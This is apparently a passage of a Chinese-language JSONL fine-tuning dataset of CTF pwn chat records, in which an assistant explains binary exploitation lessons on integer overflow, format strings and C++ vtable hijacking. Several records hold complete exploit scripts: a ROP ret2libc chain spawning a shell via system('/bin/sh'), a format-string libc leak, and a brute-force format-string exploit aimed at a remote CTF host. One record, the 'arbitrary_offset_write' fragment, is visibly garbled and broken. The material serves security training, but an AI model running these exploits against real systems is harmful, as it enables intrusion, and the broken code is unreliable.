字节数据。这样就可以满足下面的条件判断从而让程序输出`Balance`的地址。而要让`Balance`满足这个条件就需要我们的整数溢出漏洞了。如果我们让`Balance-=32`执行 8 次，`Balance`就会变成负数。而在下面代码中做了一个类型转换，将`Balance`转换为无符号数。这时`Balance`就会大于 0x100。然后我们就可以得到`Balance`这个全局变量的地址，从而绕过`PIE`保护。\n\n[图片: image][图片: image]\n\n`Write`函数存在栈溢出漏洞，到了这个地方就是基础 ROP 了。\n\n[图片: image][图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\noff=88\nfor i in range(12):\n    sla(\"choice:\\n\",b\"1\")\n    sla(\"choice:\\n\",b\"1\")\n\nsla(\"choice:\\n\",b\"1\")\nsla(\"choice:\\n\",b\"2\")\nsla(\"choice:\\n\",b\"2\")\ns(b\"%p\")\nru(\"And your Balance :\")\nb=ru(\"90\").strip()\nb=b.decode()\nb=b[2:]\nb=int(b,16)\nprint(\"jz\",hex(b))\nbase=b-0x4090\nprint(\"base\",hex(base))\nrax=0x00000000000011f7+base\nrdi=0x00000000000011f1+base\nrdx=0x00000000000011f5+base\nrsi=0x00000000000011f3+base\nret=0x000000000000101a+base\nsyscall=0x00000000000011ee+base\nmain=elf.sym.main+base\nputs=elf.plt.puts+base\nputs_got=elf.got[\"puts\"]+base\nsla(\"choice:\\n\",b\"3\")\n\nprint(\"rdi\",hex(rdi))\nprint(\"puts_got\",hex(puts_got))\npayload=b'a'*88+p64(rdi)+p64(puts_got)+p64(puts)+p64(main)\nsla(\"feedback:\\n\",payload)\nru(b'Thanks for your feedback!We`ll do it better!\\n')\np=u64(r(6)+b'\\x00'*2)\nprint(\"libc\",hex(p))\nlibc_base=p-libc.sym[\"puts\"]\nsys=libc_base+libc.sym.system\nsh=next(libc.search(\"/bin/sh\\x00\"))+libc_base\nprint(\"sh\",hex(sh))\nprint(\"sys\",hex(sys))\nprint(\"tow\")\n\nsla(\"choice:\\n\",b\"3\")\npayload=b'a'*88+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsla(\"feedback:\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-06865a7bedd7e259", "original_line": 467, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4e9cf4afdae0213b4648", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/axb_2019_fmt32/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/axb_2019_fmt32/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\n\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\n\npayload=b\"a\"+p32(elf.got.puts)+b\"-%8$p\"\npayload+=b\"a\"*(0x100-len(payload))\nru(\"me:\")\ns(payload)\nru(b\"Repeater:\")\nleak=u32(ru(b\"\\xf7\")[-4:].ljust(4,b\"\\x00\"))\nprint(hex(leak))\nlibc_base=leak-libc.sym.printf\nprint(hex(libc_base))\nsys=libc_base+libc.sym.system\nprint(hex(sys))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-e36157f04831d8c6", "original_line": 455, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/axb_2019_fmt32/exp_cli.py", "split": "train", "split_group_key": "cee4b43e1488e9b23505eff4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/axb_2019_fmt32/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5186e614f13fecde537c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「未限制范围」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 未限制范围\n\n这种漏洞最常见的就是导致上界溢出或者下界溢出。\n\n本例中如果输入两个非常大的数进行相加，就会导致上界溢出回绕。\n\n```c\n#include \n#include \n\nint main(void) {\n    unsigned int num1, num2, result;\n\n    printf(\"Enter first unsigned integer: \");\n    scanf(\"%u\", &num1);\n\n    printf(\"Enter second unsigned integer: \");\n    scanf(\"%u\", &num2);\n\n    result = num1 + num2;\n\n    printf(\"The result of the addition is: %u\\n\", result);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-7e049ce4a1ffe94b", "original_line": 474, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-518c1962035176fce135", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/down.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/down.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n训练用代码片段：\n```c\n#include \n\nint main() {\n    int min_int = -2147483648;\n    printf(\"Min int: %d\\n\", min_int);\n    int underflow = min_int - 1;  // 发生下溢\n    printf(\"After underflow: %d\\n\", underflow);\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-809e2409dc92d6cd", "original_line": 443, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/down.c", "split": "train", "split_group_key": "c0f0cd53cbf0c66b30682fc5"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/down.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-53ca552f7de8d8d1deea", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「非栈上格式化字符串通用解法」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 非栈上格式化字符串通用解法\n\n考虑构造任意地址写原理。由于格式化字符串在堆上，我们不能直接在栈上布置要写入的地址，因此需要借助栈上的 ebp 链进行构造。\n\n我们发现只要栈上存在一个有 **2 跳**的 ebp链就可以构**造栈上相对地址写原语**：\n\n[图片: image]\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./test\")\nlibc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\n\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-e261c466b5f82341", "original_line": 496, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-654749527610a39b042c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「虚函数利用」。\n资料来源：其它/2024das usersys/wp.md；主题：2024das usersys；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 虚函数利用\n\n- `thiscall`\n- 虚表\n- 子类构造\n\nC++ 多态通过虚函数表实现，对象内存首地址存放`vptr`（指向虚函数表）。若能篡改`vptr`，可控制程序跳转到任意地址。\n\n\n抛开面向对象不谈，仅仅关注漏洞利用，我们可以简单地把虚函数和虚表理解为以下几个 要点。\n\n1. C++类的成员函数在声明时，若使用关键字`virtual`进行修饰，则被称为虚函数。\n2. 一个类中可能有很多个虚函数。\n3. 虚函数的入口地址被统一保存在虚表（Vtable）中。\n4. 对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口 地址进行调用。\n5. 虚表指针保存在对象的内存空间中，紧接着虚表指针的是其他成员变量。\n6. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性。\n\n[图片: Pasted image 20250509132127]\n\n如果对象中的成员变量发生了溢出，有机会修改对象中的虚表指针或修改虚表中的虚函数指针，那么在程序调用虚函数时就会跑去执行shellcode。 下面这段程序用于演示这种漏洞利用方式。\n\n对这段程序需要说明如下。\n（1）虚表指针位于成员变量char buf[200]之前，程序中通过p_vtable=overflow.buf-4定位到 这个指针。\n（2）修改虚表指针指向缓冲区的0x004088CC处。\n（3）程序执行到p->test()时，将按照伪造的虚函数指针去0x004088CC寻找虚表，这里正 好是缓冲区里shellcode的末尾。在这里填上shellcode的起始位置0x0040881C作为伪造的虚函 数入口地址，程序将最终跳去执行shellcode。\n\n\n由于虚表指针位于成员变量之前，溢出只能向后覆盖数据，所以很可惜这种利用方式在“栈 溢出”场景下有一定局限性。\n\n当然，如果内存中存在多个对象且能够溢出到下一个对象空间中去，“连续性覆盖”还是 有攻击的机会的，如图6.3.4所示。 对于DWORD SHOOT的利用场景，攻击虚函数会更容易些。修改虚表指针或直接修改虚 函数指针都是不错的选择。 说到这里，大家应该明白所谓的虚函数、面向对象在指令层次上和C语言是没有质的区别 的，以漏洞利用的眼光来看这些东西，其实都是函数指针。\n\n[图片: Pasted image 20250509132309]", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-48b717088b81bb31", "original_line": 429, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024das usersys/wp.md", "split": "train", "split_group_key": "7a5a28ac35e806304f6403bf"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024das usersys/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-66f51c5121a0c63df4da", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「=============================」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# =============================\ndef arbitrary_offset_write(offset, value):\n    info(\"arbitrary_offset_write({}, {})\".format(hex(offset), hex(value)))\n    assert 0 > (16 * 0)) & 0xFFFF)\narbitrary_offset_write(8 + 2, (one_gadget >> (16 * 1)) & 0xFFFF)", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-b6f90c199856d615", "original_line": 494, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-677b8f427e1ec13d888f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「上界溢出」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 上界溢出\n\n接下来我们修改一下上面的代码，将所有变量都加 1。\n\n+ 代码\n\n```c\n#include \n\nvoid main()\n{\n  char sa = 0x7f;\n  short sb = 0x7fff;\n  int sc = 0x7fffffff;\n  long sd = 0x7fffffffffffffff;\n\n  unsigned char ua = 0xff;\n  unsigned short ub = 0xffff;\n  unsigned int uc = 0xffffffff;\n  unsigned long ud = 0xffffffffffffffff;\n\n  sa+=1;\n  sb+=1;\n  sc+=1;\n  sd+=1;\n  ua+=1;\n  ub+=1;\n  uc+=1;\n  ud+=1;\n\n  printf(\"signed   char  0x%x  : %d\\n\", sa, sa);\n  printf(\"signed   short 0x%x  : %d\\n\", sb, sb);\n  printf(\"signed   int   0x%x  : %d\\n\", sc, sc);\n  printf(\"signed   long  0x%lx : %ld\\n\", sd, sd);\n\n  printf(\"unsigned char  0x%x  : %u\\n\", ua, ua);\n  printf(\"unsigned short 0x%x  : %u\\n\", ub, ub);\n  printf(\"unsigned int   0x%x  : %u\\n\", uc, uc);\n  printf(\"unsigned long  0x%lx : %lu\\n\", ud, ud);\n}\n```\n\n+ 运行结果\n\n查看运行结果，每个数据类型都从最大值变成了最小值，这样我们就称它产生了上界溢出。\n\n```c\nsigned   char  0xffffff80  : -128\nsigned   short 0xffff8000  : -32768\nsigned   int   0x80000000  : -2147483648\nsigned   long  0x8000000000000000 : -9223372036854775808\nunsigned char  0x0  : 0\nunsigned short 0x0  : 0\nunsigned int   0x0  : 0\nunsigned long  0x0 : 0\n```\n\n之所以称为上界溢出，是因为它们都是因为数据类型的最大值增加 1 后，导致结果回绕到数据类型的最小值。这种溢出是由于数据类型所能表示的最大值达到了上限，从而 “溢出” 到数据类型的最小值。\n\n这种情况的发生与计算机底层的表示方式以及数据类型的特性有关。因为计算机底层指令是不区分有符号和无符号的，数据都是以二进制形式存在（编译器的层面才对有符号和无符号进行区分，产生不同的汇编指令）。\n\n我们用一张滴水逆向的神图来解释。\n\n以上述代码中的有符号`char`型和无符号`char`型为例，在上述代码中有符号的`char`型和无符号的`char`的最大值分别是`0x7F`和`0xFF`，都是正数。由于都加了 1 ，所以有符号的`int`型由正数溢出为了负数，无符号的`char`型由最大值溢出为了最小值。\n\n[图片: 整数溢出.drawio]\n\n上界溢出有两种情况：一种是`0x7F + 1`，另一种是`0xFF + 1`。\n\n+ `0x7F + 1 = 0x80`\n\n第一钟仅针对有符号数有作用，这是因为在无符号类型中`0x80`表示的是`128`，所以`0x7f + 1`就相当于`127 + 1 = 128`。因此这种上界溢出对无符号整型没有什么影响。\n\n但是在有符号整型中，`0x7f`表示的是`127`，但是`0x80`表示的是`-128`。简单来说就是就是在有符号整型中`127 + 1 = -128`，所以`0x7F + 1`在有符号数中从正数溢出为了负数。\n\n+ `0xFF + 1 = 0x00`\n\n第二种情况仅针对无符号数有用。这是因为在无符号`char`型中，数值的范围是从`0`到`255`，因此`0xFF + 1`会导致溢出回绕到`0x00`。\n\n而有符号数的`0xFF`表示`-1`，所以`0xFF + 1 = 0x00`就等于`-1 + 1 = 0`。所以`0xFF + 1`对于有符号数来说并没有产生异常。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-98e22ce62018722c", "original_line": 475, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-77b9498f1d1b09edd659", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「进入交互」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 进入交互\np.interactive()\n```\n\n例题 2019 xman format\n\n同样是格式化字符串。\n\n```plain\nvoid __cdecl sub_8048651()\n{\n  char *buf; // [esp+Ch] [ebp-Ch]\n\n  puts(\"...\");\n  buf = (char *)malloc(0x100u);\n  read(0, buf, 0x37u);\n  call_vuln(buf);\n}\n```\n\n但与上一题不同的是这次的格式化字符串是离线操作，不能泄露地址。\n\n```plain\nvoid __cdecl vuln(char *buf)\n{\n  char *v1; // eax\n  const char *format; // [esp+Ch] [ebp-Ch]\n\n  puts(\"...\");\n  v1 = strtok(buf, \"|\");\n  printf(v1);\n  while ( 1 )\n  {\n    format = strtok(0, \"|\");\n    if ( !format )\n      break;\n    printf(format);\n  }\n}\n```\n\n另外还有一个后门函数。\n\n```plain\nint backdoor()\n{\n  return system(\"/bin/sh\");\n}\n```\n\n由于不能泄露地址，因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。\n\n[图片: image]\n\n```plain\nfrom pwn import *\n\nelf = ELF(\"./xman_2019_format\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\nstart = lambda: remote(\"node4.buuoj.cn\", 25559)  # process([elf.path])\n\nwhile True:\n    global p\n    try:\n        p = start()\n        # gdb.attach(p, \"b *0x080485F6\\nb *0x8048606\")\n        # pause()\n        payload = \"%\" + str(0x9c) + \"c%10$hhn|%\" + str(0x85ab) + \"c%18$hn\"\n        p.sendlineafter('...', payload)\n        sleep(1)\n        p.sendline('cat flag')\n        p.recvline_contains('flag', timeout=1)\n        p.interactive()\n    except KeyboardInterrupt:\n        p.close()\n        exit(0)\n    except:\n        p.close()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 22, "ctf_task_type": "misc", "original_id": "pwn101-doc-89ddc9e05dcfb819", "original_line": 491, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7f9110ca2ca48a62e82d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「快速查找catch块」。\n资料来源：其它/2024ycb logger/wp.md；主题：2024ycb logger；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 快速查找catch块\n\n当代码量比较大的时候，如果一个程序中有许多异常处理，我们再从汇编层面去人为查找非常的耗时间，使用 IDA 的 Search 功能直接定位到 catch 块分配处从而快速定位到 catch 块。\n\n之前我们的分析之后可以知道，ida 是能够知道对应的 catch 块是 owned by 哪个 throw_address的，就用这个地址来搜索。\n\n所以一旦我们找到了 throw 函数，直接搜索即可找到 catch，而不是满篇汇编的去大海捞针。", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-6037d294ab7f42da", "original_line": 432, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/wp.md", "split": "train", "split_group_key": "f289bd9c761b7bfdc81ae259"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8517f4fb896da5fb29ba", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「标志位操作」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 标志位操作\n\n通过直接操作 CPU 标志位（如零标志、符号标志、溢出标志等）可能会绕过程序的逻辑，甚至在某些情况下使程序执行不当。可以使用汇编语言实现对标志位的操作，但在 C 语言中，我们通常使用内联汇编。\n\n```c\n#include \n\nint main(void) {\n    int a = 5, b = 0;\n\n    // Using inline assembly to manipulate Zero Flag (ZF)\n    __asm__ (\n        \"cmp %0, %1\\n\\t\"\n        \"sete %2\\n\\t\"\n        : \"=r\"(b) // Output the Zero Flag value\n        : \"r\"(a), \"r\"(b) // Compare a with b, modify b\n    );\n\n    printf(\"Zero flag comparison result: %d\\n\", b); // Will print 1 if a == b\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-239a8251e8fc7a82", "original_line": 468, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-85f355f514572fd2d97b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/sj.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/sj.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n关键常量/偏移样例：\n`0x7fff`, `0xffff`, `0x7fffffff`, `0xffffffff`, `0x7fffffffffffffff`, `0xffffffffffffffff`\n\n训练用代码片段：\n```c\n#include \n\nvoid main()\n{\n  char sa = 0x7f;\n  short sb = 0x7fff;\n  int sc = 0x7fffffff;\n  long sd = 0x7fffffffffffffff;\n\n  unsigned char ua = 0xff;\n  unsigned short ub = 0xffff;\n  unsigned int uc = 0xffffffff;\n  unsigned long ud = 0xffffffffffffffff;\n\n  sa+=1;\n  sb+=1;\n  sc+=1;\n  sd+=1;\n  ua+=1;\n  ub+=1;\n  uc+=1;\n  ud+=1;\n\n  printf(\"signed   char  0x%x  : %d\\n\", sa, sa);\n  printf(\"signed   short 0x%x  : %d\\n\", sb, sb);\n  printf(\"signed   int   0x%x  : %d\\n\", sc, sc);\n  printf(\"signed   long  0x%lx : %ld\\n\", sd, sd);\n\n  printf(\"unsigned char  0x%x  : %u\\n\", ua, ua);\n  printf(\"unsigned short 0x%x  : %u\\n\", ub, ub);\n  printf(\"unsigned int   0x%x  : %u\\n\", uc, uc);\n  printf(\"unsigned long  0x%lx : %lu\\n\", ud, ud);\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-723c283decfc782a", "original_line": 445, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/sj.c", "split": "train", "split_group_key": "78bcb68fbb5e4dde99a3b7bd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/sj.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-861d4c4132300878d4af", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理验证」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 原理验证\n\n示例程序：\n\n```plain\n#include\n\nint main() {\n    char s[100] =\"aaaa.%p.%p.%p.%p.%p.%p.%p\";\n    printf(s);\n    return 0;\n}\n```\n\n+ 32位\n\n编译命令：\n\n```shell\ngcc test.c -g -m32 -o test\n```\n\n输出结果：\n\n```\naaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e\n```\n\n栈结构：\n\n```plain\n00:0000│ esp  0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\n01:0004│      0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e\n02:0008│      0xffffcee8 —▸ 0xffffcf2a ◂— 0x0\n03:000c│      0xffffceec —▸ 0x56555595 (main+24) ◂— add    ebx, 0x1a3f\n04:0010│      0xffffcef0 —▸ 0xffffcf2a ◂— 0x0\n05:0014│      0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6\n06:0018│ eax  0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\n```\n\n自上而下依次是参数0~6，参数0为格式化字符串地址，而格式化字符串前4字节又作为参数6（由于栈结构不同，需要视情况而定）。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。\n\n+ 64位\n\n编译命令：\n\n```shell\ngcc test.c -g -m64 -o test\n```\n\n输出结果：\n\n```\naaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e70255\n```\n\n寄存器：\n\n```plain\nRAX  0x0\nRBX  0x0\nRCX  0x555555554770 (__libc_csu_init) ◂— push   r15\nRDX  0x70\nRDI  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\nRSI  0x7fffffffde78 —▸ 0x7fffffffe21b\nR8   0x7ffff7dced80 (initial) ◂— 0x0\nR9   0x7ffff7dced80 (initial) ◂— 0x0\nR10  0x0\nR11  0x0\nR12  0x5555555545a0 (_start) ◂— xor    ebp, ebp\nR13  0x7fffffffde70 ◂— 0x1\nR14  0x0\nR15  0x0\nRBP  0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15\nRSP  0x7fffffffdd20 ◂— 